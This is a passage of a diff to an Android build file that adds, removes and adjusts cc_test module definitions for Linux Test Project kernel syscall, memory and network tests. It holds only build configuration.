-    name: "ltp_fcntl06_64",
-    stem: "fcntl06_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl06.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setgid03",
-    stem: "setgid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgid/setgid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setgid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ht_enabled",
-    stem: "ht_enabled",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/hyperthreading/ht_enabled/ht_enabled.c",
-        "testcases/kernel/sched/hyperthreading/ht_enabled/ht_utils.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_getuid01",
-    stem: "getuid01",
+    name: "ltp_lgetxattr01",
+    stem: "lgetxattr01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getuid/getuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/lgetxattr/lgetxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lgetxattr02",
+    stem: "lgetxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lgetxattr/lgetxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link02",
+    stem: "link02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link03",
+    stem: "link03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link04",
+    stem: "link04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link05",
+    stem: "link05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link06",
+    stem: "link06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link07",
+    stem: "link07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_link08",
+    stem: "link08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/link/link08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_linkat01",
+    stem: "linkat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/linkat/linkat01.c"],
+    cflags: ["-Wno-error"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_linkat02",
+    stem: "linkat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/linkat/linkat02.c"],
+    cflags: ["-Wno-error"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_listen01",
+    stem: "listen01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/listen/listen01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_listxattr01",
+    stem: "listxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/listxattr/listxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_listxattr02",
+    stem: "listxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/listxattr/listxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_listxattr03",
+    stem: "listxattr03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/listxattr/listxattr03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_llistxattr01",
+    stem: "llistxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/llistxattr/llistxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_llistxattr02",
+    stem: "llistxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/llistxattr/llistxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_llistxattr03",
+    stem: "llistxattr03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/llistxattr/llistxattr03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_llseek01",
+    stem: "llseek01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/llseek/llseek01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_llseek02",
+    stem: "llseek02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/llseek/llseek02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_llseek03",
+    stem: "llseek03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/llseek/llseek03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_locktests",
+    stem: "locktests",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/nfsv4/locks/locktests.c",
+        "testcases/network/nfsv4/locks/netsync.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lremovexattr01",
+    stem: "lremovexattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lremovexattr/lremovexattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lseek01",
+    stem: "lseek01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lseek02",
+    stem: "lseek02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lseek07",
+    stem: "lseek07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lseek11",
+    stem: "lseek11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lseek/lseek11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lstat01",
+    stem: "lstat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lstat/lstat01.c"],
     local_include_dirs: [
+        "testcases/kernel/syscalls/lstat",
         "testcases/kernel/syscalls/utils",
         "include/old",
-        "testcases/kernel/syscalls/getuid",
     ],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_move_pages04",
-    stem: "move_pages04",
+    name: "ltp_lstat01_64",
+    stem: "lstat01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lstat/lstat01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lstat02",
+    stem: "lstat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lstat/lstat02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lstat02_64",
+    stem: "lstat02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lstat/lstat02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lstat03",
+    stem: "lstat03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lstat/lstat03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_lstat03_64",
+    stem: "lstat03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/lstat/lstat03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/lstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ltp-diorh",
+    stem: "ltp-diorh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/ltp-diorh.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ltpClient",
+    stem: "ltpClient",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/sockets/ltpClient.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ltpServer",
+    stem: "ltpServer",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/sockets/ltpServer.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ltp_acpi",
+    stem: "ltp_acpi",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/acpi/ltp_acpi.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise01",
+    stem: "madvise01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise02",
+    stem: "madvise02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise05",
+    stem: "madvise05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise06",
+    stem: "madvise06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise07",
+    stem: "madvise07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise08",
+    stem: "madvise08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise09",
+    stem: "madvise09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_madvise10",
+    stem: "madvise10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/madvise/madvise10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_max_map_count",
+    stem: "max_map_count",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/tunable/max_map_count.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mbind01",
+    stem: "mbind01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mbind/mbind01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mc_member_test",
+    stem: "mc_member_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/multicast/mc_member/mc_member_test.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_mc_recv",
+    stem: "mc_recv",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/multicast/mc_commo/mc_recv.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_mc_send",
+    stem: "mc_send",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/multicast/mc_commo/mc_send.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_mc_verify_opts",
+    stem: "mc_verify_opts",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/multicast/mc_opts/mc_verify_opts.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_mc_verify_opts_error",
+    stem: "mc_verify_opts_error",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/multicast/mc_opts/mc_verify_opts_error.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_meltdown",
+    stem: "meltdown",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/cve/meltdown.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/realtime/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mem01",
+    stem: "mem01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mem/mem01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mem02",
+    stem: "mem02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mem/mem02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mem03",
+    stem: "mem03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/memmap/mem03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mem_process",
+    stem: "mem_process",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/control/mem_process.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_membarrier01",
+    stem: "membarrier01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/membarrier/membarrier01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcg_process_stress",
+    stem: "memcg_process_stress",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/stress/memcg_process_stress.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcg_test_1",
+    stem: "memcg_test_1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_1.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcg_test_2",
+    stem: "memcg_test_2",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_2.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcg_test_3",
+    stem: "memcg_test_3",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_3.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcg_test_4",
+    stem: "memcg_test_4",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_4.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcmp01",
+    stem: "memcmp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/memcmp/memcmp01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memcpy01",
+    stem: "memcpy01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/memcpy/memcpy01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memctl_test01",
+    stem: "memctl_test01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/memctl/memctl_test01.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_controllers",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_memfd_create01",
+    stem: "memfd_create01",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages04.c",
-        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create01.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memfd_create02",
+    stem: "memfd_create02",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create02.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memfd_create03",
+    stem: "memfd_create03",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/memfd_create/memfd_create03.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memfd_create04",
+    stem: "memfd_create04",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create04.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memset01",
+    stem: "memset01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/memset/memset01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_memtoy",
+    stem: "memtoy",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/hotplug/memory_hotplug/commands.c",
+        "testcases/kernel/hotplug/memory_hotplug/memtoy.c",
+        "testcases/kernel/hotplug/memory_hotplug/segment.c",
+    ],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/hotplug/memory_hotplug",
+        "include/old",
+    ],
+}
+
+cc_test {
+    name: "ltp_migrate_pages01",
+    stem: "migrate_pages01",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/migrate_pages/migrate_pages01.c",
+        "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
+    ],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -14322,28 +7925,13 @@
 }
 
 cc_test {
-    name: "ltp_getuid03",
-    stem: "getuid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getuid/getuid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/getuid",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_move_pages06",
-    stem: "move_pages06",
+    name: "ltp_migrate_pages02",
+    stem: "migrate_pages02",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages06.c",
-        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
+        "testcases/kernel/syscalls/migrate_pages/migrate_pages02.c",
+        "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -14356,6 +7944,689 @@
 }
 
 cc_test {
+    name: "ltp_migrate_pages03",
+    stem: "migrate_pages03",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/migrate_pages/migrate_pages03.c",
+        "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mincore01",
+    stem: "mincore01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mincore/mincore01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mincore02",
+    stem: "mincore02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mincore/mincore02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdir02",
+    stem: "mkdir02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdir/mkdir02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdir03",
+    stem: "mkdir03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdir/mkdir03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdir04",
+    stem: "mkdir04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdir/mkdir04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdir05",
+    stem: "mkdir05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdir/mkdir05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdir09",
+    stem: "mkdir09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdir/mkdir09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdirat01",
+    stem: "mkdirat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdirat/mkdirat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mkdirat02",
+    stem: "mkdirat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mkdirat/mkdirat02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod01",
+    stem: "mknod01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod02",
+    stem: "mknod02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod03",
+    stem: "mknod03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod04",
+    stem: "mknod04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod05",
+    stem: "mknod05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod06",
+    stem: "mknod06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod07",
+    stem: "mknod07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod08",
+    stem: "mknod08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknod09",
+    stem: "mknod09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknod/mknod09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mknodat01",
+    stem: "mknodat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mknodat/mknodat01.c"],
+    local_include_dirs: ["include/old"],
